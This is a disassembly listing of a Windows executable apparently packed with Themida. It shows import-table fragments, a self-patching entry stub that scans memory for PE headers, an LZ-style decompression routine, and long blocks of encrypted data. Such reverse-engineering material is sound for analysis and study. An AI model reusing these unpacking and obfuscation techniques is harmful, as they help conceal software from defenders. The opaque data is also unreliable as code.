		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000E2000 ( 925696.)
; Section size in file		: 000E2000 ( 925696.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 6C7CA17Fh, 4FEECh, 540A1h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053EBA5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00541EC6 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054213C SIZE 0000005D BYTES
; FUNCTION CHUNK AT 005421A5 SIZE 0000008D BYTES
; FUNCTION CHUNK AT 00542268 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0054228A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005422A3 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005422F6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0054231E SIZE 00000014 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------

loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax

loc_4E0047:				; DATA XREF: ___:00437A34o
		and	eax, 0FFFFF000h
		xor	edi, edi

loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074

loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------

loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax

loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------

loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53EBA5
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h

loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2

loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi

loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1

loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1

loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1

loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B

loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2

loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------

loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53EBA5
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 156331Ch, 6552F0EBh,	61741C73h, 7041CE72h, 784F2E2Fh
		dd 0D9D5219Ch, 0D53FC201h, 656854C0h, 64691C6Dh, 54552161h
		dd 3FC23545h, 700F33F9h, 21F9DF87h, 7D750817h, 215C98E4h
		dd 0C63874D5h, 92EE4703h, 0CDBBFCF7h, 15C20371h, 0F865A777h
		dd 3430F85Dh, 56312D38h, 11ECBE01h, 0BB7F848Bh,	10EE22C8h
		dd 24C8EFBBh, 0EFEE42B8h, 0AE13622h, 0FC2A3ABDh, 0D801CAABh
		dd 185FEDDh, 5C92C455h,	8E7F5F21h, 0D443C58Bh, 4084E860h
		dd 2BED815Dh, 5E70333h,	2D799589h, 0DDB50D08h, 0D9858412h
		dd 0BD83010Bh, 716A1h, 0E88B0C74h, 0B84BE2E4h, 78C2814Fh
		dd 0E3244470h, 11693E88h, 0E8456A03h, 682903A3h, 783749Ah
		dd 0A80DFD2h, 0A894B25h, 0E988D5F4h, 0EC025214h
		db 0BEh, 80h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 56h
		fsubr	st, st(6)
		add	bl, [edx-7Fh]
		jmp	far ptr	0C7DAh:8B003419h
; ---------------------------------------------------------------------------
		dd 8D84845h, 89400ED8h,	7D8108C7h, 331D80E6h, 8200F74h
		dd 938C83FBh, 120CFF10h, 36E1EB43h, 26616EDCh, 4C2C982h
		dd 0C4814680h, 2D1FF7Ch, 8062C849h, 8B80458Dh, 0C728085Dh
		dd 50891985h, 0D10A408Dh, 181588C3h, 140B8941h,	4006BD81h
		dd 0E352755Dh, 0BA8D8527h, 7580641Dh, 0BB0E8A80h, 15B92F4h
		dd 5437ABB8h, 0F9D0D378h, 4B08870Fh, 0AF60F775h, 0A44647C3h
		dd 54468C4Ah, 57D142F9h, 0D0408A61h, 14FBEBF0h,	4DFC45EEh
		dd 0AD04EB14h, 80461879h, 0BAF7403Eh, 34DC84A6h, 0EB0C7DC3h
		dd 0F83E217Fh, 0F0126D99h, 0F40E9509h, 0C14A0210h, 8004F065h
		dd 0E0D1F8D6h, 0C0C27203h, 8ADB3328h, 8039301Ch, 0A7298FBh
		dd 7A77390Ah, 0E4EB7D05h, 6114CF22h, 660A0DECh,	1EDE08FEh
		dd 0AC39DBEh, 411A1058h, 0A0B6172h, 0BD067746h,	30014424h
		dd 0F4ECF05Dh, 2E67D83h, 0CB07236h, 0A5766EC0h,	0F826AACCh
		dd 8D0E9C83h, 3B01A8D4h, 820FFC55h, 0B0BD5378h,	387CAA83h
		dd 0C108BAA1h, 5070C1B9h, 35A8BDFCh, 30FFE80h, 0FA754947h
		dd 6A8B22B9h, 0C701BBB9h, 0EB82F1E8h, 1C3B0CDEh, 3781868Eh
		dd 655106E8h, 1DBF36C1h, 268A28F7h, 5E95007h, 98B80659h
		dd 130D8510h, 7608DECh,	26D4820Dh, 2F860643h, 44F6C32Ch
		dd 0EAA6F165h, 0CB9A1903h, 0B362F004h, 13360315h, 8C98395Fh
		dd 678134E3h, 5B4EE082h, 100F7600h, 43D51B8h, 0EC3BF8D1h
		dd 7546C346h, 11AB2E09h, 0EC480E01h, 69065E4h, 0C5845640h
		dd 968E1905h, 1E53E7A1h, 29C20415h, 5718C03h, 0E6EE782h
		dd 86FFC8C2h, 22047781h, 0C1341D00h, 7533F984h,	3FBCC820h
		dd 330ABB3Bh, 990230EFh, 8CC4EC41h, 0FFCCCF7Fh,	456740C8h
		dd 6028E9F5h, 52C40062h, 11254D8Ch, 0B142AA82h,	845AAB66h
		dd 56531384h, 825E05D9h, 8150ACEEh, 7D6A22FAh, 13B9518Ah
		dd 94972302h, 0BC670243h, 0FEA6012h, 0D3DC9E90h, 0CCF14B02h
		dd 0C3DF40E5h, 0F458B8A5h, 0DA8D0067h, 0E281C9B4h, 8F03BC05h
		dd 0EA41C8F3h, 7E410008h, 554927CDh, 0B06A223h,	4C8610CAh
		dd 0CC820F1Fh, 4644B135h, 2C5482C8h, 0C1210206h, 0EA8D8190h
		dd 0E86B1340h, 0C304E958h, 0C4602111h, 257D8A90h, 9845E5A1h
		dd 48211E08h, 7C47158h,	2251EFB3h, 0E41FF09Fh, 81511041h
		dd 2BBCF453h, 5C8EBB65h, 0A8F84527h, 0FA309050h, 1A09659Ah
		dd 0C0CC5FEAh, 0A57B942Ah, 7E000C76h, 68079ABCh, 3327EFF1h
		dd 636550Bh, 12E95118h,	21E37h,	620F3DAEh, 0FF5A4B56h
		dd 0B0FBB800h, 85695B7Ch, 0DA8C1C67h, 82D9C160h, 0BF5DF3C8h
		dd 1816153Ah, 3DD105A0h, 0ED143BCAh, 7A2001FBh,	388C706Bh
		dd 0F7E8C2C9h, 0F86EFE65h, 1E4788Bh, 18C621C7h,	23831068h
		dd 0BEDB3CEAh, 2476B04Bh, 50022CB3h, 3AA1C134h,	0BB835753h
		dd 890EAE0h, 43E9C9D0h,	0F0827201h, 31640E8Ch, 1C9890FAh
		dd 6685FAC1h, 2188B827h, 84EDB104h, 28702EAh, 0FBBDBDA8h
		dd 0BE20D16Fh, 9C307273h, 0C3BA5850h, 0BBB197FCh, 0F5CCE100h
		dd 0E0A2B286h, 4B730E3Ch, 11601D8Bh, 0D49CECEFh, 0DE81AD05h
		dd 838330C0h, 7E207353h, 9BE00008h, 400612E2h, 0DF20C8CEh
		dd 8A0E03EAh, 227323BCh, 55821101h, 4DCC0D2Ch, 219D6180h
		dd 0C4C85E89h, 7C9F3Fh,	291FD3B5h, 0FBCC5020h, 0C356BE0h
		dd 58949C61h, 0CE0EF179h, 80C480CBh, 84758EB6h,	5E970166h
		dd 0FC480629h, 0B7B0D3D4h, 0E509B208h, 3C94F1h,	0C9EB9044h
		dd 0B31B0348h, 93CA5ACEh, 20538803h, 197441h, 72A3B499h
		dd 0A5DD1A0Fh, 716097Dh, 9300ADE4h, 0BE906239h,	8B38C10Dh
		dd 0C00CC5D2h, 0F73E32FFh, 200E81E4h, 4E7F317Dh, 0C04A8CDCh
		dd 3F7C4C28h, 0FF00E1E2h, 0EB3429E9h, 9BDD4B2h,	3B4910BAh
		dd 734CDA00h, 0F41F0919h, 0AE069BE8h, 1D209368h, 3353D62h
		dd 7DE5B45Bh, 6000087Ch, 8B0624F7h, 0E82B4098h,	48930043h
		dd 0B5D1B2F4h, 9F31C98Fh, 90B3877h, 0A354180h, 29CE3046h
		dd 8D37E600h, 0DBFC797h, 863C0ED0h, 948050EFh, 0D8642085h
		dd 270010DDh, 0BFBA656Dh, 0DF890F2Bh, 83237C35h, 5900400Bh
		dd 2C65EB1h, 3C64C2h, 0E1BA8912h, 0A3DE2188h, 0D03B85F8h
		dd 0E4506374h, 696E33Fh, 0DA767078h, 5B03E8BEh,	0C43E6D94h
		dd 0BB1100B2h, 17626E36h, 7EC1D4Eh, 70CFDF00h, 3C24D1B3h
		dd 81D46022h, 0E0574A94h, 0E8742C05h, 0A0012D23h, 6483512Bh
		dd 1053AC40h, 0F7070894h, 3B03B45Dh, 8BF88B93h,	0BDF900D3h
		dd 0A3876D4Ch, 8F60E4B9h, 4E2BF938h, 0BC7954E8h, 0D46E00B0h
		dd 0AB122E4Bh, 8001BB76h, 5EBA48A5h, 8CE44938h,	26A0094h
		dd 7F52833Eh, 1F285379h, 76EE9B2Ch, 0E1ACDD30h,	0C04F88B1h
		dd 43C2959h, 5960F107h,	110F5CA1h, 8BBCA169h, 10CCC2A0h
		dd 0D5C4F8h, 2CF53539h,	0E2B805Eh, 8B1C3C91h, 0D1B3D006h
		dd 61053573h, 92D10FE4h, 0CE07B803h, 62610A63h,	80A00E37h
		dd 0B11B2C70h, 91C04C81h, 753F8CC1h, 0E080D06Dh, 18DCC210h
		dd 0CFC1B9C4h, 0A35EA12h, 3356240Eh, 20DF1FB8h,	9C4BF201h
		dd 0B944D025h, 0FADE3887h, 0C7FDA134h, 0BDD0412Eh, 94B8401Ch
		dd 0F268AA90h, 93C58880h, 0B8282A81h, 740F1C24h, 0A190C0F9h
		dd 0C3333929h, 9AEEC005h, 0E031A48Bh, 0D9800F0Bh, 0C6E6D882h
		dd 6C1712FFh, 3C057055h, 0AC438927h, 0A320F86Dh, 0B1903E25h
		dd 0C4398052h, 0F8DD1C03h, 8044D9BCh, 62186DB4h, 0E5613832h
		dd 8D31C17Ah, 30EDE99Fh, 32001EFCh, 3D562BFCh, 0EE2431E7h
		dd 0BC0900ADh, 442D3980h, 6555D47Dh, 54A5F8C4h,	97D1B500h
		dd 23698C46h, 809C5007h, 62211E76h, 66CC12A3h, 0E401185Ch
		dd 0F84C2CC0h, 0C08231DFh, 0F0C49555h, 64D841h,	30621898h
		dd 85B10A33h, 895484E8h, 0E0329168h, 20596055h,	63993F5Ch
		dd 211840D4h, 2434156Fh, 0BC2C0808h, 78003112h,	6FD9C6CCh
		dd 2FF01374h, 97604405h, 0DE1C88F8h, 81E72712h,	60054412h
		dd 0D80CF96Bh, 95B617Fh, 0A01A5937h, 0B9C62000h, 27E4A44Ah
		dd 0FE28E000h, 0D086C1E6h, 50AE6008h, 4D1CF4E7h, 19B99507h
		dd 0E7CF2A35h, 72D0581Bh, 4ED392h, 6BA19A93h, 0F48EBC86h
		dd 0F019BB8h, 0B0F7CDAEh, 0A9D0E636h, 5308002Ah, 0BC6A15ACh
		dd 10C36DB3h, 0E07F7398h, 45EDDCh, 19F2D13Dh, 23EC8ED2h
		dd 6F22BA00h, 0E9ADDEFCh, 129DFCFDh, 1679D0F3h,	96D300CCh
		dd 31761CC4h, 4D1F2AB8h, 6F543FD2h, 56E51EACh, 2B97E104h
		dd 240DC482h, 1B60C194h, 8935003Bh, 0D47D4064h,	15946D54h
		dd 0D37C4F00h, 0E57FCDDFh, 0E7733FCAh, 3EE60B80h, 0FD20CB28h
		dd 0BDD3A909h, 91898989h, 1D2A72Ch, 24A0B9B3h, 0CA0192D4h
		dd 0E84CBA1Ch, 20A03533h, 0FD940C9Ah, 0F3102C2Bh, 0D84FF018h
		dd 0DD6F1050h, 0BF002291h, 34E4AC92h, 0B0845Dh,	54827811h
		dd 539B303Bh, 6DF9E602h, 0A7ABC4E3h, 34702DF4h,	12D05C42h
		dd 11D7F0Dh, 6907E6E8h,	7590527Eh, 7820AC48h, 0FBA84700h
		dd 166EDFF5h, 0D1C20F8Eh, 1EB2E62Ch, 47FCE4C8h,	61CEAB1h
		dd 71BAE376h, 2759B30Ah, 28A88467h, 0F703461h, 8B00699Dh
		dd 34F9DCD0h, 591BCB9Ch, 2230886Bh, 9A0083B8h, 3BF5F71Fh
		dd 1025A0Fh, 74A4F186h,	0C1166436h, 0F0F4DCDDh,	3952C348h
		dd 0C4C50168h, 7390B13Bh, 0F8F49984h, 0C090974Fh, 0E23C8E57h
		dd 62D4CD15h, 751400A8h, 87F9F841h, 0A0500D3h, 0CFAF431Ch
		dd 0B906BA03h, 1F93B1ABh
		dd 68D43051h, 86482739h, 0C4D7921Ch, 54DE7606h,	0DC0B48B9h
		dd 0BAEAD680h, 0BF0377B0h, 0CF07C4ABh, 3B4106F0h, 597FE894h
		dd 0A1586900h, 0EE091B15h, 0BB25002Bh, 0F9A2F8F0h, 5301DDBDh
		dd 2C987CFDh, 69808DC4h, 0FF66589h, 0D3009A5Fh,	3A0AF7F2h
		dd 313CC4Bh, 3BAE57FAh,	0A1083C67h, 910F44DDh, 0C1540004h
		dd 74FF2C9Ah, 0F30E07Dh, 92CE6CBFh, 112B62C1h, 0DD9C20C6h
		dd 8A80D013h, 0E0282C58h, 6B68989Ah, 0AC19C0C5h, 0CCF2102Ch
		dd 1941893h, 2FE4215Ch,	751124h, 0A5F88100h, 150EA6Eh
		dd 4CEDE1D4h, 4038AF20h, 0F089FAD4h, 49488D60h,	0BA650F84h
		dd 296D2C9Ch, 0C68C2408h, 3C3B9948h, 409CCDFEh,	0C9280770h
		dd 37104059h, 802E72CDh, 0A8D1184h, 0F07884B1h,	44416344h
		dd 2081560Dh, 0B0138FAh, 762CB0E4h, 39AC8FDCh, 91CF60C8h
		dd 0B83A094Ch, 0FABB75h, 6CDA9BB7h, 0B8C377CBh,	0A1FD22F0h
		dd 49B93F10h, 0E3E3058h, 9BC1F459h, 0F446FCFBh,	0F0982543h
		dd 808B8E28h, 0A976E530h, 9FE6D3h, 90C52DFEh, 93F67CA1h
		dd 0D7767809h, 7C34080Bh, 7C6D90BBh, 98D08103h,	0DFE17662h
		dd 31C5C0E1h, 2D805891h, 22343B8h, 2B9E0405h, 917670B9h
		dd 34D318E4h, 591B3550h, 811992EAh, 81113A8Bh, 1594101Ah
		dd 0D5314033h, 189CD03Ch, 0F529299Bh, 85C8A0C4h, 0B3E5807Fh
		dd 0C69CD9CEh, 1A283F53h, 19F60794h, 1D270485h,	7A9F0064h
		dd 5CC489CBh, 5D1F70C2h, 78B461A3h, 0AEB4041h, 87800B01h
		dd 9E9F95E1h, 110586h, 0CB74F339h, 3B21E63Dh, 5550C300h
		dd 0D3F71987h, 0E0C40136h, 0F307ECAEh, 2A89BD78h, 2900D484h
		dd 0DC9F9BEDh, 0FAB61F12h, 0C2E200EFh, 0A03BDBD5h, 71124EAFh
		dd 43CACh, 0F42D414h, 92026835h, 31FCE0B7h, 6F0A191h, 0A5E162E9h
		dd 3070BC24h, 2D795AD1h, 0AC006F17h, 761A8411h,	0B077FA0Ah
		dd 4B32034h, 0D44B930Ch, 0E84A316Ch, 0F9180003h, 91E68D27h
		dd 250033E9h, 36265913h, 4987AA1h, 0A5078429h, 6C48884Ch
		dd 33CBC40h, 0E876FBB5h, 9043927Ah, 0E3BE009Ch,	0A636536Dh
		dd 0EE9E1489h, 40DE8CB6h, 4AE99574h, 500AAE7h, 803D25FEh
		dd 4D4F549Bh, 0F008CC33h, 10333E8Bh, 240B8174h,	8CE8E802h
		dd 67418D07h, 41276450h, 85308480h, 2C62A8DBh, 0E599C93Fh
		dd 0E823A891h, 0CA000727h, 90889F34h, 53C029h, 956EFFEDh
		dd 892B3C25h, 64698C24h, 1C644949h, 0A7BE6088h,	940D3F88h
		dd 0B710B895h, 3C151933h, 44E1019h, 0F80DF222h,	3850C8E8h
		dd 7B3C7888h, 9020CA06h, 10589019h, 4B397CDh, 9FA93F99h
		dd 517A0C80h, 408B00EBh, 2CC0DC2Ah, 0B1055E14h,	3B18C61Dh
		dd 89378090h, 0E8915D97h, 7168AB31h, 0E8B3001Bh, 3DE415Fh
		dd 99094DCCh, 44C133Fh,	0E8C7E685h, 0AC0193CEh,	78C0870Dh
		dd 7522305Eh, 0C67571Ch, 79407C68h, 0F25C80h, 2B84A17Dh
		dd 5671C70h, 73D0867Ch,	68008174h, 90B055F0h, 0BF44EB7Ch
		dd 0E1285778h, 0BC8130B9h, 35945084h, 0E8BA01F8h, 7D0F4CA0h
		dd 8A142CB9h, 0F8E58608h, 16B48591h, 9E4C23D0h,	6B088690h
		dd 3D0691C1h, 79807989h, 93FD324Dh, 21C97708h, 0A5C665Bh
		dd 0A13D3B8Ah, 1DACAC18h, 93266040h, 7032B442h,	0C0C32279h
		dd 90621044h, 0A4864408h, 74848BB8h, 9633C440h,	0A18EC610h
		dd 2C127184h, 10316061h, 2DCD68h, 97CC7DB5h, 66BF8CE0h
		dd 49654307h, 0CAEADD2h, 50DEB963h, 2A0C4C57h, 18A003D4h
		dd 0D1A10B23h, 0EC9CF270h, 25F3A3Ah, 340DC528h,	0D8EBC386h
		dd 9E160E0Fh, 0FE26BA20h, 11BF1810h, 33123A36h,	0BC0CCE6Dh
		dd 0CB5D61BDh, 9C90D010h, 4A178AE5h, 0AC08AD7Fh, 9C9A8A57h
		dd 2585D928h, 3D280F8Ch, 584FB18Dh, 0F7105089h,	3D047A69h
		dd 0EF46EBFh, 0D0E4B0D4h, 19630286h, 9B7AFE8Eh,	30B409Eh
		dd 10406289h, 927F94h, 260F36D4h, 24FB9E3h, 0C489189Ch
		dd 5C98A264h, 0DC3C280Dh, 0B154E498h, 0FD7E86A4h, 30D94B6Ch
		dd 2ADD8BB0h, 78A42134h, 9F013529h, 0ACEDD592h,	48CEC42Bh
		dd 0D06CB4h, 0A3663A9h,	550CE633h, 0BC3C48A2h, 76C3EB46h
		dd 610BC2DDh, 0A24810A7h, 277DCADCh, 0B1398CA0h, 617B8E32h
		dd 0CC54840Ch, 0BC3023h, 6246983Dh, 71136039h, 4A5D8C93h
		dd 0BDE8639h, 82EDE3E4h, 62CBBB7Ch, 0AD70A024h,	4CC389C5h
		dd 6A33C4B3h, 0EC9DE81h, 20B1F2F2h, 0E5BC4825h,	0A0D14328h
		dd 9C609224h, 0A000F412h, 0AC9D2C34h, 84072510h, 0CDC4C882h
		dd 47D1A4C8h, 0A03A6E1Ch, 0D9BA60C7h, 38C3AFF0h, 0BFF70083h
		dd 0CA73608h, 0FD00BDF1h, 96164463h, 0E872AD5h,	686E2C6Bh
		dd 30914543h, 7EAFC2F0h, 9C16192Ch, 0DF4F800h, 0AD207Dh
		dd 7FEBBB21h, 0FA6A1577h, 6E6540CEh, 6F007067h,	0D1CD532Fh
		dd 8001941h, 0E1E3B733h, 7AB7739h, 0F4FF350Ch, 5B667073h
		dd 0CD0029D8h, 148B2A74h, 3D6D4E6Eh, 0D30B2E62h, 88120B41h
		dd 0AA5F0435h, 924107F8h, 89D75462h, 0A13D800h,	0E10EEBB1h
		dd 0E0E63E01h, 72A28C32h, 2C150045h, 50825FFAh,	220C9C29h
		dd 40914960h, 10D90EC1h, 8B00F9C4h, 7738E4E3h, 800B578h
		dd 846BEB93h, 1AA4F39h,	267C8C51h, 6E2E9Bh, 40BC5664h
		dd 0D8E11FE0h, 0D00EEF2h, 3E15BF77h, 67F4B8h, 0BE2C1282h
		dd 2680831Dh, 60008C7Ah, 5615D34Ah, 7610AED8h, 0B9351CA9h
		dd 293826F2h, 3BD87594h, 2A70016Dh, 1E7EDFC6h, 0E38AC016h
		dd 770EEE00h, 0FF0811BEh, 457300E4h, 58B99620h,	3F006BBCh
		dd 505F14A8h, 5B6591h, 0CB4594BAh, 0F5B107C3h, 4C2E100h
		dd 0BE050FB3h, 0B02E00E3h, 5AC6263Eh, 40184A90h, 974022A4h
		dd 0C72C2067h, 3EC3AD01h, 0C2ECE390h, 0DA7D4h, 40CF8934h
		dd 0FA522041h, 4A8C2300h, 5A13672Fh, 989C487Eh,	8094CD00h
		dd 903DFAAFh, 0C4ECE116h, 3FEA8C6Ah, 0A0428048h, 0AEC22A30h
		dd 13B0007Eh, 0C0E8BF04h, 0D21077C4h, 70013A0Ah, 0D8511F78h
		dd 2B71605Eh, 6E146700h, 5B69A03Ch, 4DD703FBh, 8F10FCCBh
		dd 2D00AE84h, 0B532D2A2h, 407FE6h, 5AC84311h, 8C2C48EBh
		dd 7E5D251Dh, 8153620Fh, 0FE07CDDh, 0C9C0C0h, 0D47701BFh
		dd 0F18E0709h, 64434000h, 9023C896h, 9B2E007Ah,	4F7B9466h
		dd 0CE765467h, 7C44A00h, 0EEFBFE33h, 0B2780B04h, 0AC043CD2h
		dd 52D14769h, 0C2404F52h, 48828A4h, 0BFFDDFh, 97583B43h
		dd 2F354Ch, 425F7F6Dh, 5C990F70h, 0E85334A5h, 1C1C8B53h
		dd 40702E69h, 2F6D585Dh, 0DF2B7C88h, 0C4861C6Ch, 7C10E04Bh
		dd 0C33F1896h, 76D421BDh, 2B358A01h, 33676D7Ch,	0BC30707Ch
		dd 8A7D7E21h, 55305300h, 512BC827h, 195E000Bh, 0CAE6C509h
		dd 393B898Bh, 99D00133h, 6FCB513Dh, 0AB584900h,	74089300h
		dd 5B50EFCCh, 393E0470h, 0B8D0352Eh, 7F080ACh, 2C41AD9h
		dd 36BA97BFh, 1C998E7Ch, 48B20540h, 0B9E88100h,	0D250E523h
		dd 217BCD06h, 0B9B8C3h,	6B310D6Ah, 0FB738884h, 26D8CA09h
		dd 0F4D989h, 0C527A8EFh, 0DE03161Eh, 0BCE80E45h, 0E67001D2h
		dd 7C2025F4h, 444E3BBEh, 6BAE8ADh, 8928E776h, 0A8400C5Eh
		dd 51975ED0h, 0DFF918B9h, 85E0C046h, 0EB8CB188h, 12F4F19Ch
		dd 941CB0CFh, 3849660Bh, 30F4680Ch, 479E0128h, 0C0875588h
		dd 5FAC7C8Dh, 40C7D45Ch, 6660FE9Eh, 0C6A3A57h, 3BE7E8F2h
		dd 0D01A8551h, 7883E4h,	0F912F6CCh, 0D1091893h,	6229805Eh
		dd 855C3650h
